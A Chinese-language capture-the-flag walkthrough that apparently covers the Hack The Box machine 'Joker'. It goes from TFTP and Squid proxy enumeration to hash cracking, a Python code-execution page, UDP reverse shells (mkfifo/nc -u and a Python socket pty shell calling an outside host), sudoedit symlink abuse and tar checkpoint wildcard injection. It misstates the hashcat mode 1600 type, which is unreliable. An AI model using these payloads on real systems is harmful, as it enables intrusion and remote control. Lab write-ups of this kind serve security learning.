信息收集
端口扫描
nmap共找到3个有用的端口分别是openssh(22),tftp(69),squid(3128)
Squid Proxy w/o Creds - TCP 3128
通过搜索我们得到3128可能是代理,但是我们没有证号密码无法登录,继续信息收集
tftp通过69端口下载到squid配置文件
查询配置文件发现passwords
hash破解
hashcat -m 1600 passwords -a 0 -w3 /usr/share/wordlists/rockyou.txt --user
-m 1600:指定哈希类型为1600,这通常对应于NetNTLMv2哈希类型。
passwords:这是包含哈希值的文件名,hashcat将会尝试破解这些哈希值。
-a 0:指定攻击模式。-a 0 代表直线攻击(Straight attack),即直接尝试用字典中的每个密码去匹配哈希值。
-w3:设置线程并行数,这里是3,意味着hashcat会使用3个线程并行地进行攻击
hash破解以后我们添加到代理3128端口
访问外部ip出现错误
尝试内部ip
循环查看服务内部开放端口
time for i in {1..65535}; do curl -s -U kalamari:ihateseafood -x 10.129.1.116:3128 127.0.0.1:${i} | grep -q "Squid Error" || echo "$i"; done
发现80端口
漏洞扫描
nikto -h 127.0.0.1 -useproxy http://10.129.1.116:3128
目录扫描
dirb http://127.0.0.1 -p 10.129.1.116:3128 -P kalamari:ihateseafood -r
网站访问
根据前面得到的信息,我们可以看到是python,使用python语法测试
反弹shell失败
import os, pty, socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('you ip',80))
查看能否ping出网
os.system('ping -c1 you ip')
sudo tcpdump -ni tun0 icmp
查看防火墙
根据防火墙规则发现,出站只让udp
设置udp出站
os.popen("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1 | nc -u 10.10.*.* 443 >/tmp/f &").read()
Privilege Escalation 提权
查看发现存在sudoedit引发的漏洞
https://www.exploit-db.com/exploits/37710
如果通配符使用两次,sudoedit 不会检查完整路径。因此,为了利用这一点,可以创建了一个指向 /etc/shadow 的符号链接
当使用通配符时,它不会检查完整路径使用两次,这意味着符号链接可用于访问编写配置的人可能不是程序设置者想要的结果
漏洞利用
配置生成ssh文件
ssh-keygen -t rsa -b 4096 生成ssh密钥
写入公钥
登录
Priv:alekos –> root 2次提权
上传pspy,因为出站只能udp,所以我们使用scp 上传
我们会发现他会每过一段时间执行tar cf(这个图是后截)
查看备份文件
我们找到了tar cf在bash中可能引起的利用
https://www.soliantconsulting.com/blog/dangers-wildcards-bash/
漏洞利用
因为他只支持udp,所以我们要找寻或者编写udp格式的执行文件
第一种:python
#!/usr/bin/python
import subprocess
subprocess.Popen(['python', '-c', 'import os; import pty; import socket; s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM); s.connect(("10.10.*.*", 1234)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); os.putenv("HISTFILE","/dev/null"); pty.spawn("/bin/sh"); s.close()'])
第二种:bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc -u 10.10.*.* 1234 >/tmp/f
执行稍等一会会反弹成功
上面如果是python则改变 touch -- "--checkpoint-action=exec=sh shell.sh"为 touch -- "--checkpoint-action=exec=python shell.py"
总结
首先通过信息收集中的常规操作,先端口扫描,然后进行枚举,发现了tftp信息泄露squid内部信息,造成代理访问内网,进一步造成内部python代码执行,同时配置错误匹配方式错误软件版本问题,造成了可以root.
所以我们一点到面的要进行比如tftp的修复,比如设置权限无法访问内部/etc/下文件,或者sudoedit不使用匹配,由此可以看出安全要所有操作以最小化原则和限制访问,比如这里把路径不使用,不让任意匹配